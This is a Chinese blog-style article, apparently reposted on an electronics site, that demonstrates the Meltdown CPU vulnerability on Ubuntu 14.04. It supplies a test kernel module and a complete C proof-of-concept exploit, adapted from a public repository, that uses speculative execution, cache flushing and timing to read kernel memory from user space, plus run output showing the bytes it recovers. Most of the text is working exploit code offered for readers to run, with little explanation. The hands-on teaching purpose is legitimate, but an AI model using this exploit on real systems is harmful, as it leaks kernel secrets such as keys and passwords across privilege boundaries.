0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

在Ubuntu 14.04上面进行的meltdown漏洞的亲测

Linux阅码场 2018-01-10 13:42 次阅读

本文是我在Ubuntu 14.04上面进行的meltdown漏洞的亲测。meltdown漏洞,使得我们可以在用户空间读到内核空间的数据,做越权访问。我感觉每天YY看技术文章,而不去亲自试验,总是无法切身体会,因此我们来把它实例化,直接写代码看效果!本文暂时不涉及技术细节,只贴相关的代码。详细的原理,希望后面有机会再叙述。

首先写一个内核模块,包含一个很简单的proc接口,里面有个内核全局变量variable=0x12345678,这个proc接口暴露这个全局变量。

我待会尝试用一个应用程序meltdown-baohua.c来把这个内核空间变量从用户空间偷出来。

#include

#include

#include

#include

#include

#include

#include

static unsigned int variable=0x12345678;

static struct proc_dir_entry *test_entry;

static int test_proc_show(struct seq_file *seq, void *v)

{

unsigned int *ptr_var = seq->private;

seq_printf(seq, "%u ", *ptr_var);

return 0;

}

static int test_proc_open(struct inode *inode, struct file *file)

{

return single_open(file, test_proc_show, PDE_DATA(inode));

}

static const struct file_operations test_proc_fops =

{

.owner = THIS_MODULE,

.open = test_proc_open,

.read = seq_read,

.llseek = seq_lseek,

.release = single_release,

};

static __init int test_proc_init(void)

{

printk("variable addr:%p ", &variable);

test_entry = proc_create_data("stolen_data",0444, NULL, &test_proc_fops, &variable);

if (test_entry)

return 0;

return -ENOMEM;

}

module_init(test_proc_init);

static __exit void test_proc_cleanup(void)

{

remove_proc_entry("stolen_data", NULL);

}

module_exit(test_proc_cleanup);

MODULE_AUTHOR("Barry Song ");

MODULE_DESCRIPTION("proc exmaple");

MODULE_LICENSE("GPL v2");

这个模块对应的Makefile如下:

在Ubuntu 14.04上面进行的meltdown漏洞的亲测

把它编译执行并加载:

#make

#sudo insmod proc.ko

然后dmesg看出来printk("variable addr:%p ", &variable);这一行打印的variable地址是:

[25996.868363] variable addr:f9adf000

然后我们用下面的程序来偷取f9adf000数据:

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

//#define DEBUG 1

/* comment out if getting illegal insctructions error */

#ifndef HAVE_RDTSCP

# define HAVE_RDTSCP 1

#endif

#if !(defined(__x86_64__) || defined(__i386__))

# error "Only x86-64 and i386 are supported at the moment"

#endif

#define TARGET_OFFSET12

#define TARGET_SIZE(1 << TARGET_OFFSET)

#define BITS_READ8

#define VARIANTS_READ(1 << BITS_READ)

static char target_array[VARIANTS_READ * TARGET_SIZE];

void clflush_target(void)

{

int i;

for (i = 0; i < VARIANTS_READ; i++)

_mm_clflush(&target_array[i * TARGET_SIZE]);

}

extern char stopspeculate[];

static void __attribute__((noinline))

speculate(unsigned long addr)

{

#ifdef __x86_64__

asm volatile (

"1: "

".rept 300 "

"add $0x141, %%rax "

".endr "

"movzx (%[addr]), %%eax "

"shl $12, %%rax "

"jz 1b "

"movzx (%[target], %%rax, 1), %%rbx "

"stopspeculate: "

"nop "

:

: [target] "r" (target_array),

[addr] "r" (addr)

: "rax", "rbx"

);

#else /* ifdef __x86_64__ */

asm volatile (

"1: "

".rept 300 "

"add $0x141, %%eax "

".endr "

"movzx (%[addr]), %%eax "

"shl $12, %%eax "

"jz 1b "

"movzx (%[target], %%eax, 1), %%ebx "

"stopspeculate: "

"nop "

:

: [target] "r" (target_array),

[addr] "r" (addr)

: "rax", "rbx"

);

#endif

}

static inline int

get_access_time(volatile char *addr)

{

int time1, time2, junk;

volatile int j;

#if HAVE_RDTSCP

time1 = __rdtscp(&junk);

j = *addr;

time2 = __rdtscp(&junk);

#else

time1 = __rdtsc();

j = *addr;

_mm_mfence();

time2 = __rdtsc();

#endif

return time2 - time1;

}

static int cache_hit_threshold;

static int hist[VARIANTS_READ];

void check(void)

{

int i, time, mix_i;

volatile char *addr;

for (i = 0; i < VARIANTS_READ; i++) {

mix_i = ((i * 167) + 13) & 255;

addr = &target_array[mix_i * TARGET_SIZE];

time = get_access_time(addr);

if (time <= cache_hit_threshold)

hist[mix_i]++;

}

}

void sigsegv(int sig, siginfo_t *siginfo, void *context)

{

ucontext_t *ucontext = context;

#ifdef __x86_64__

ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;

#else

ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;

#endif

return;

}

int set_signal(void)

{

struct sigaction act = {

.sa_sigaction = sigsegv,

.sa_flags = SA_SIGINFO,

};

return sigaction(SIGSEGV, &act, NULL);

}

#define CYCLES 1000

int readbyte(int fd, unsigned long addr)

{

int i, ret = 0, max = -1, maxi = -1;

static char buf[256];

memset(hist, 0, sizeof(hist));

for (i = 0; i < CYCLES; i++) {

ret = pread(fd, buf, sizeof(buf), 0);

if (ret < 0) {

perror("pread");

break;

}

clflush_target();

speculate(addr);

check();

}

#ifdef DEBUG

for (i = 0; i < VARIANTS_READ; i++)

if (hist[i] > 0)

printf("addr %lx hist[%x] = %d ", addr, i, hist[i]);

#endif

for (i = 1; i < VARIANTS_READ; i++) {

if (hist[i] && hist[i] > max) {

max = hist[i];

maxi = i;

}

}

return maxi;

}

static char *progname;

int usage(void)

{

printf("%s: [hexaddr] [size] ", progname);

return 2;

}

static int mysqrt(long val)

{

int root = val / 2, prevroot = 0, i = 0;

while (prevroot != root && i++ < 100) {

prevroot = root;

root = (val / root + root) / 2;

}

return root;

}

#define ESTIMATE_CYCLES1000000

static void

set_cache_hit_threshold(void)

{

long cached, uncached, i;

if (0) {

cache_hit_threshold = 80;

return;

}

for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)

cached += get_access_time(target_array);

for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)

cached += get_access_time(target_array);

for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {

_mm_clflush(target_array);

uncached += get_access_time(target_array);

}

cached /= ESTIMATE_CYCLES;

uncached /= ESTIMATE_CYCLES;

cache_hit_threshold = mysqrt(cached * uncached);

printf("cached = %ld, uncached = %ld, threshold %d ",

cached, uncached, cache_hit_threshold);

}

static int min(int a, int b)

{

return a < b ? a : b;

}

int main(int argc, char *argv[])

{

int ret, fd, i, is_vulnerable;

unsigned long addr, size;

progname = argv[0];

if (argc < 3)

return usage();

if (sscanf(argv[1], "%lx", &addr) != 1)

return usage();

if (sscanf(argv[2], "%lx", &size) != 1)

return usage();

memset(target_array, 1, sizeof(target_array));

ret = set_signal();

set_cache_hit_threshold();

fd = open("/proc/stolen_data", O_RDONLY);

if (fd < 0) {

perror("open");

return -1;

}

for (i = 0; i < size; i++) {

ret = readbyte(fd, addr);

if (ret == -1)

ret = 0xff;

printf("read %lx = %x %c (score=%d/%d) ",

addr, ret, isprint(ret) ? ret : ' ',

ret != 0xff ? hist[ret] : 0,

CYCLES);

addr++;

}

close(fd);

return 0;

}

上述程序改编自:https://github.com/paboldin/meltdown-exploit.git

编译上述程序,并执行偷取:

baohua@baohua-VirtualBox:~/meltdown-exploit$ gcc -O2 -msse2 meltdown-baohua.c

baohua@baohua-VirtualBox:~/meltdown-exploit$ sudo ./a.outf9adf000 4

[sudo] password for baohua:

cached = 31, uncached = 312, threshold 98

read f9adf000 = 78 x (score=120/1000)

read f9adf001 = 56 V (score=129/1000)

read f9adf002 = 34 4 (score=218/1000)

read f9adf003 = 12 (score=178/1000)

这样我们就偷取到了f9adf000开始的4个字节,12345678了!

详细的原理,暂时没有时间讲了,读者们可以先动手做起来!

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 内存
    +关注

    关注

    8

    文章

    2767

    浏览量

    72769
  • Ubuntu
    +关注

    关注

    5

    文章

    533

    浏览量

    28839
  • 漏洞
    +关注

    关注

    0

    文章

    193

    浏览量

    15115

原文标题:宋宝华: 用代码切身实践体会meltdown漏洞

文章出处:【微信号:LinuxDev,微信公众号:Linux阅码场】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    Ubuntu 14.04上安装LTIB

    经历几周的痛苦与折磨,终于成功Ubuntu14.04上安装了LTIB。下面我将安装的整个过程和具体方法分享给大家,希望能够有所帮助。其中也有很多是参考网上分享的帖子。 如果有什么问题,欢迎大家来
    发表于 07-26 05:13

    Ubuntu14.04的插入模式中如何用鼠标控制光标的位置??!!

    `我VMware上安装了一个Ubuntu14.04,进入插入模式后,我只能用键盘控制光标的方向,请问一下我怎么才能用鼠标控制光标的方向啊?我之前装Ubuntu10.04是可以直接用鼠标控制光标的方向的!`
    发表于 03-06 11:29

    Ubuntu14.04启动CCS后软件会闪退

    为何Ubuntu14.04启动CCS后软件会闪退
    发表于 02-20 10:36

    Ek314 Ubuntu 12.04如何升级到14.04

    有朋友问到:启动后,出现提示:是否升级到Ubuntu 14.04, 点击升级后,进行到第二步时出现提示:W:Failed to fetch http://ports.
    发表于 03-12 17:08

    Ek314 Ubuntu 12.04如何升级到14.04

    有朋友问到:启动后,出现提示:是否升级到Ubuntu 14.04, 点击升级后,进行到第二步时出现提示:W:Failed to fetch http://ports.
    发表于 03-14 15:14

    如何使用U盘安装Ubuntu14.04

    如何使用U盘安装Ubuntu14.04
    发表于 06-21 06:42

    ubuntu14.04 LTS上的交叉编译工具链该怎样去实现呢

    ubuntu14.04 LTS上的交叉编译工具链该怎样去实现呢?有哪些操作步骤?
    发表于 02-17 08:11

    为什么要在Ubuntu 14.04上去安装Android Studio呢

    为什么要在Ubuntu 14.04上去安装Android Studio呢?有哪些安装步骤呢?
    发表于 03-10 09:34

    CH341Aubuntu 14.04上使用出现乱码的怎么解决?

    大家好,请问下各位:有没有遇到过CH341Aubuntu 14.04上使用出现乱码的问题呢?我从官网下载了CH34X的linux驱动,也一样乱码。 此模块windows上使用没有问
    发表于 07-20 07:25

    Spectre和Meltdown的利用漏洞的软件影响和缓解措施

    以下指南简要概述了称为Spectre和Meltdown的利用漏洞的软件影响和缓解措施,更准确地标识为: 变体1:边界检查绕过(CVE-2017-5753)变体2:分支目标
    发表于 08-25 08:01

    英特尔年末送惊喜 推新安全CPU可直接修复Spectre和Meltdown漏洞

    据悉英特尔将会在年末推出安全CPU,在一定程度上可以直接对Spectre和Meltdown漏洞进行直接修复,科再奇说光是用软件修复还不够,还会对处理器架构进行调整。
    发表于 01-26 16:21 588次阅读

    Intel明确表示2018将推不受Meltdown和Spectre漏洞影响的芯片产品

    今年英特尔的10nm CPU将会大量推出,2018年下半年进入大规模制造。同时告知14nm还有一代,这个的芯片将会是不再受Meltdown和Spectre漏洞影响的芯片产品。
    发表于 01-30 14:16 1186次阅读

    Linux Ubuntu教程之Linux Ubuntu14.04如何进行开发环境的搭建

    本文档的主要内容详细介绍的是Linux Ubuntu教程之Linux Ubuntu14.04如何进行开发环境的搭建详细资料免费下载。
    发表于 12-19 08:00 7次下载

    CAFFE+OPENCV+OPENBLAS+ANACONDA+UBUNTU14.04配置

    CAFFE+OPENCV+OPENBLAS+ANACONDA+UBUNTU14.04配置(新型电源技术结课论文UC3842)-CAFFE+OPENCV+OPENBLAS+ANACONDA+UBUNTU14.04配置
    发表于 09-18 14:30 6次下载
    CAFFE+OPENCV+OPENBLAS+ANACONDA+<b class='flag-5'>UBUNTU14.04</b>配置

    Meltdown Meltdown漏洞的概念验证

    ./oschina_soft/meltdown.zip
    发表于 05-07 09:15 1次下载
    <b class='flag-5'>Meltdown</b> <b class='flag-5'>Meltdown</b><b class='flag-5'>漏洞</b>的概念验证